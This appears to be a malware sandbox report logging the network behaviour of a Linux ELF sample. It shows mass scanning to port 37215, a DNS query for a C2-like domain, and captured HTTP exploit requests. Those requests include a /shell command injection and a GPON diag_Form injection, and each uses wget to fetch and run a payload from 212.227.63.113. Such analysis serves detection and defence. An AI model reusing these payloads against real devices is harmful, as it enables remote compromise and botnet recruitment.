Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.208.35.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.176.72.155:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.26.91.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.239.85.206:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.110.141.33:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.228.120.110:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.115.187.246:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.253.38.80:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.212.223.106:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.150.70.126:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.192.116.68:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.167.162.207:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.169.53.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.193.97.189:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.36.181.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.234.141.151:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.29.165.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.75.59.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.199.223.187:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.90.227.125:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.157.74.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.62.207.122:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.47.31.3:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.86.237.33:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.2.216.211:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.238.124.205:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.142.43.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.136.3.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.20.51.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.225.16.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.171.178.229:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.53.43.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.68.118.9:37215
Source: global traffic	TCP traffic: 192.168.2.15:54894 -> 212.227.63.113:59666
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.103.63.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.159.1.178:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.254.21.90:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.70.176.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.148.178.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.203.96.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.160.112.187:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.52.82.44:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.126.164.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.66.181.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.156.228.243:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.201.147.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.17.59.197:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.244.202.57:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.132.63.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.69.62.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.35.56.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.119.193.180:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.245.52.94:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.213.13.112:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.208.97.120:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.64.106.154:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.41.151.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.48.169.129:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.178.19.109:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.93.227.19:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.234.250.139:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.178.225.72:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.151.188.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.253.235.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.85.217.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.51.155.206:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.180.67.184:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.36.73.127:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.198.222.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.38.46.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.54.232.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.137.80.203:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.204.94.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.112.79.160:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.196.62.125:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.189.25.203:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.47.153.109:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.250.229.197:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.41.90.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.20.172.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.232.155.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.26.158.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.165.182.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.47.44.139:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.196.183.225:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.207.198.3:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.179.7.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.119.126.172:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.55.64.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.182.4.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.113.61.232:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.198.100.6:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.160.84.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.47.205.152:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.107.82.174:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.127.92.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.32.204.56:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.116.67.147:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.116.212.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.222.72.216:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.74.112.10:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.253.99.251:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.236.18.69:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.225.99.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.161.12.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.190.123.54:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.235.161.177:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.180.211.23:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.159.240.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.244.33.238:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.186.16.121:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.99.29.160:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.80.55.188:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.209.159.59:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.162.53.94:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.23.134.60:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.3.156.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.75.134.63:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.176.174.243:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.30.32.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.78.5.43:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.81.88.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.105.191.4:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.215.122.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.141.30.53:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.101.48.235:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.82.10.185:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.161.81.126:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.248.23.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.121.53.221:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.118.125.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.115.255.229:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.120.238.151:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.82.233.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.213.237.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.72.255.158:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.87.116.14:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.26.103.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.43.160.187:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.51.239.170:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.18.188.10:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.151.84.41:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.190.50.142:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.136.230.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.185.204.176:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.127.80.100:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.1.76.126:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.9.201.237:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.23.129.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.147.92.75:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.83.150.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.65.6.101:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.54.164.216:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.142.95.215:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.97.248.187:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.79.62.190:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.209.65.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.186.250.111:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.50.126.145:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.99.219.47:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.171.212.252:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.54.170.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.216.143.217:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.133.2.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.220.96.148:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.47.90.91:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.252.218.149:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.23.111.126:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.64.127.213:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.34.226.44:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.240.170.155:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.229.207.197:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.69.161.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.159.180.75:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.236.31.83:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.78.213.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.177.249.116:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.221.208.58:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.233.229.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.12.48.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.144.90.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.116.175.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.69.3.26:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.70.21.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.220.8.121:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.201.205.14:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.59.238.108:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.96.20.219:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.7.125.146:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.39.213.115:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.219.111.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.151.211.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.165.238.183:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.40.175.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.5.107.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.34.68.237:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.190.244.6:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.154.163.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.2.68.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.248.196.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.117.144.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.43.188.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.88.191.153:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.125.122.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.181.229.244:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.171.38.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.230.49.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.165.214.3:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 197.189.162.137:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.177.51.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.207.96.191:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 156.8.134.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:7260 -> 41.218.147.108:37215

Sample listens on a socket

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5528)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 108.70.77.186
Source: unknown	TCP traffic detected without corresponding DNS query: 221.38.148.187
Source: unknown	TCP traffic detected without corresponding DNS query: 141.215.91.186
Source: unknown	TCP traffic detected without corresponding DNS query: 84.4.57.198
Source: unknown	TCP traffic detected without corresponding DNS query: 70.211.76.25
Source: unknown	TCP traffic detected without corresponding DNS query: 213.52.39.71
Source: unknown	TCP traffic detected without corresponding DNS query: 81.208.118.220
Source: unknown	TCP traffic detected without corresponding DNS query: 179.227.56.42
Source: unknown	TCP traffic detected without corresponding DNS query: 45.241.248.151
Source: unknown	TCP traffic detected without corresponding DNS query: 112.162.172.105
Source: unknown	TCP traffic detected without corresponding DNS query: 147.79.198.233
Source: unknown	TCP traffic detected without corresponding DNS query: 2.240.169.64
Source: unknown	TCP traffic detected without corresponding DNS query: 61.238.245.178
Source: unknown	TCP traffic detected without corresponding DNS query: 60.84.141.29
Source: unknown	TCP traffic detected without corresponding DNS query: 94.194.200.56
Source: unknown	TCP traffic detected without corresponding DNS query: 57.8.176.7
Source: unknown	TCP traffic detected without corresponding DNS query: 174.35.231.110
Source: unknown	TCP traffic detected without corresponding DNS query: 92.24.108.160
Source: unknown	TCP traffic detected without corresponding DNS query: 88.200.38.34
Source: unknown	TCP traffic detected without corresponding DNS query: 14.178.205.141
Source: unknown	TCP traffic detected without corresponding DNS query: 112.39.95.248
Source: unknown	TCP traffic detected without corresponding DNS query: 67.255.39.23
Source: unknown	TCP traffic detected without corresponding DNS query: 101.4.190.23
Source: unknown	TCP traffic detected without corresponding DNS query: 201.36.89.178
Source: unknown	TCP traffic detected without corresponding DNS query: 62.2.241.196
Source: unknown	TCP traffic detected without corresponding DNS query: 64.0.240.230
Source: unknown	TCP traffic detected without corresponding DNS query: 19.254.122.161
Source: unknown	TCP traffic detected without corresponding DNS query: 149.220.222.150
Source: unknown	TCP traffic detected without corresponding DNS query: 223.136.207.98
Source: unknown	TCP traffic detected without corresponding DNS query: 86.22.253.210
Source: unknown	TCP traffic detected without corresponding DNS query: 195.100.87.57
Source: unknown	TCP traffic detected without corresponding DNS query: 147.107.49.31
Source: unknown	TCP traffic detected without corresponding DNS query: 41.209.76.113
Source: unknown	TCP traffic detected without corresponding DNS query: 153.4.48.247
Source: unknown	TCP traffic detected without corresponding DNS query: 222.129.175.103
Source: unknown	TCP traffic detected without corresponding DNS query: 196.106.81.71
Source: unknown	TCP traffic detected without corresponding DNS query: 200.15.214.57
Source: unknown	TCP traffic detected without corresponding DNS query: 73.59.105.158
Source: unknown	TCP traffic detected without corresponding DNS query: 97.188.97.220
Source: unknown	TCP traffic detected without corresponding DNS query: 57.102.139.112
Source: unknown	TCP traffic detected without corresponding DNS query: 50.184.231.96
Source: unknown	TCP traffic detected without corresponding DNS query: 124.43.49.153
Source: unknown	TCP traffic detected without corresponding DNS query: 74.235.156.254
Source: unknown	TCP traffic detected without corresponding DNS query: 135.81.59.154
Source: unknown	TCP traffic detected without corresponding DNS query: 67.27.132.198
Source: unknown	TCP traffic detected without corresponding DNS query: 88.196.90.56
Source: unknown	TCP traffic detected without corresponding DNS query: 12.22.181.106
Source: unknown	TCP traffic detected without corresponding DNS query: 123.90.93.46
Source: unknown	TCP traffic detected without corresponding DNS query: 145.12.27.53
Source: unknown	TCP traffic detected without corresponding DNS query: 216.236.123.175

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: plutoc2.site

Source: unknown

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: Hello, WorldAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://212.227.63.113/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

